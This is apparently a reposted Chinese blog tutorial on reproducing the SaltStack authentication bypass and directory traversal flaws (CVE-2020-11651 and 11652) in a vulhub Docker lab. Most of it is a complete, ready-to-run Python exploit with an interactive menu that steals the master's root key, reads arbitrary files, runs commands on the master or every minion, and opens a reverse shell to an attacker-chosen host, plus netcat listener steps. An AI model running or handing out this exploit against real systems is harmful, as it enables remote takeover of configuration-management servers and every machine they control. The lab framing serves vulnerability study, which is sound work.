SaltStack 水平权限绕过漏洞(CVE-2020-11651+11652)
发布日期:2021-06-29 11:26:13 浏览次数:2 分类:技术文章

本文共 6678 字,大约阅读时间需要 22 分钟。

声明

好好学习,天天向上

漏洞描述

SaltStack 是基于 Python 开发的一套C/S架构配置管理工具。国外某安全团队披露了 SaltStack 存在认证绕过漏洞(CVE-2020-11651)和目录遍历漏洞(CVE-2020-11652)。

在 CVE-2020-11651 认证绕过漏洞中,攻击者通过构造恶意请求,可以绕过 Salt Master 的验证逻辑,调用相关未授权函数功能,从而可以造成远程命令执行漏洞。

影响范围

  • SaltStack < 2019.2.4
  • SaltStack < 3000.2

复现过程

使用vulhub

这里使用2019.2.3版本

/app/vulhub-master/saltstack/CVE-2020-11651

启动

docker-compose up -d

环境启动后,将会在本地监听如下端口:

  • 4505/4506 这是SaltStack Master与minions通信的端口
  • 8000 这是Salt的API端口
  • 2222 这是容器内部的SSH服务器监听的端口

下载POC

https://github.com/dozernz/cve-2020-11651

我这用另一位大佬的POC,创建cve-2020-11651.py,内容如下,内容不需要修改,直接运行即可

# BASE https://github.com/bravery9/SaltStack-Exp# 微信公众号:台下言书# -*- coding:utf-8 -*- -from __future__ import absolute_import, print_function, unicode_literalsimport argparseimport osimport sysimport datetimeimport saltimport salt.versionimport salt.transport.clientimport salt.exceptionsDEBUG = Falsedef init_minion(master_ip, master_port):    minion_config = {        'transport': 'zeromq',        'pki_dir': '/tmp',        'id': 'root',        'log_level': 'debug',        'master_ip': master_ip,        'master_port': master_port,        'auth_timeout': 5,        'auth_tries': 1,        'master_uri': 'tcp://{0}:{1}'.format(master_ip, master_port)    }    return salt.transport.client.ReqChannel.factory(minion_config, crypt='clear')def check_salt_version():    print("[+] Salt 版本: {}".format(salt.version.__version__))    vi = salt.version.__version_info__    if (vi < (2019, 2, 4) or (3000,) <= vi < (3000, 2)):        return True    else:        return Falsedef check_connection(master_ip, master_port, channel):    print("[+] Checking salt-master ({}:{}) status... ".format(master_ip, master_port), end='')    sys.stdout.flush()    try:        channel.send({'cmd': 'ping'}, timeout=2)        print('\033[1;32m可以连接\033[0m')    except salt.exceptions.SaltReqTimeoutError:        print("\033[1;31m无法连接\033[0m")        sys.exit(1)def check_CVE_2020_11651(channel):    sys.stdout.flush()    # try to evil    try:        rets = channel.send({'cmd': '_prep_auth_info'}, timeout=3)    except salt.exceptions.SaltReqTimeoutError:        print("\033[1;32m不存在漏洞\033[0m")    except:        print("\033[1;32m未知错误\033[0m")        raise    else:        pass    finally:        if rets:            root_key = rets[2]['root']            print("\033[1;31m存在漏洞\033[0m")            return root_key    return Nonedef pwn_read_file(channel, root_key, path, master_ip):    # print("[+] Attemping to read {} from {}".format(path, master_ip))    sys.stdout.flush()    msg = {        'key': root_key,        'cmd': 'wheel',        'fun': 'file_roots.read',        'path': path,        'saltenv': 'base',    }    rets = channel.send(msg, timeout=3)    print(rets['data']['return'][0][path])def pwn_getshell(channel, root_key, LHOST, LPORT):    msg = {"key": root_key,           "cmd": "runner",           'fun': 'salt.cmd',           "kwarg": {               "fun": "cmd.exec_code",               "lang": "python3",               "code": "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"{}\",{}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/bash\",\"-i\"]);".format(                   LHOST, LPORT)           },           'jid': '20200504042611133934',           'user': 'sudo_user',           '_stamp': '2020-05-04T04:26:13.609688'}    try:        response = channel.send(msg, timeout=3)        print("Got response for attempting master shell: " + str(response) + ". Looks promising!")        return True    except:        print("something failed")        return Falsedef pwn_exec(channel, root_key, exec_cmd, master_or_minions):    if master_or_minions == "master":        msg = {"key": root_key,               "cmd": "runner",               'fun': 'salt.cmd',               "kwarg": {                   "fun": "cmd.exec_code",                   "lang": "python3",                   "code": "import subprocess;subprocess.call('{}',shell=True)".format(exec_cmd)               },               'jid': '20200504042611133934',               'user': 'sudo_user',               '_stamp': '2020-05-04T04:26:13.609688'}        try:            response = channel.send(msg, timeout=3)            print("Got response for attempting master shell: " + str(response) + ". Looks promising!")            return True        except:            print("something failed")            return False    if master_or_minions == "minions":        print("Sending command to all minions on master")        jid = "{0:%Y%m%d%H%M%S%f}".format(datetime.datetime.utcnow())        cmd = "/bin/sh -c '{0}'".format(exec_cmd)        msg = {'cmd': "_send_pub", "fun": "cmd.run", "arg": [cmd], "tgt": "*", "ret": "", "tgt_type": "glob",               "user": "root", "jid": jid}        try:            response = channel.send(msg, timeout=3)            if response == None:                return True            else:                return False        except:            return False#####################################master_ip=input('目标IP:')master_port='4506'channel = init_minion(master_ip, master_port)try:    root_key = check_CVE_2020_11651(channel)except:    passwhile master_ip!='':    print('1.测试POC  2.读取文件  3.执行命令(无回显)  4.反弹shell  5.退出')    whattype=input('请选择:')    if whattype=='1':        check_salt_version()  # 检查salt版本        check_connection(master_ip, master_port, channel)  # 检查连接        root_key = check_CVE_2020_11651(channel)  # 读取root key        print(root_key)    elif whattype=='2':        path = input('读取路径:')        try:            pwn_read_file(channel, root_key, path, master_ip)  # 读取文件        except:            print('文件不存在')    elif whattype=='3':        print('1.master   2.minions')        exectype = input('选择方式:')        if exectype=='1':            master_or_minions='master'        elif exectype=='2':            master_or_minions = 'minions'        exec_cmd = input('输入命令:')        pwn_exec(channel, root_key, exec_cmd, master_or_minions)  # 执行命令    elif whattype=='4':        LHOST = input('反弹到IP:')        LPORT = input('反弹端口:')        pwn_getshell(channel, root_key, LHOST, LPORT)  # 反弹shell    elif whattype=='5':        exit()

当然,运行POC的前提,是得安装依赖包(我这破网,搞了好久)

pip3 install salt

安装后,可以直接运行

python3 cve-2020-11651.py

运行后提示让你输入IP,直接输入IP就好

然后就是个while的循环菜单,用户体验极好

测试是否存在漏洞,就根据提示选1

读取文件,就选2,然后输入文件路径

反弹shell,就选3,记录,kali中先监听,比如我想让他往我的kali,192.168.239.139上的8888反弹

kali监听8888

nc -lvvp 8888

POC中选4,输入kali的IP和端口

在这里插入图片描述

在这里插入图片描述

使用完关闭镜像(每次用完后关闭)

docker-compose down

docker-compose常用命令

拉镜像(进入到vulhub某个具体目录后)

docker-compose builddocker-compose up -d

镜像查询(查到的第一列就是ID值)

docker ps -a

进入指定镜像里面(根据上一条查出的ID进入)

docker exec -it ID /bin/bash

关闭镜像(每次用完后关闭)

docker-compose down

转载地址:https://blog.csdn.net/zy15667076526/article/details/110718031 如侵犯您的版权,请留言回复原文章的地址,我们会给您删除此文章,给您带来不便请您谅解!

上一篇:SaltStack 命令注入漏洞(CVE-2020-16846)
下一篇:Weblogic Unauthentication Remote Command Execution (CVE-2020-14882, CVE-2020-14883)

发表评论

最新留言

初次前来,多多关照!
[***.217.46.12]2024年04月29日 17时54分34秒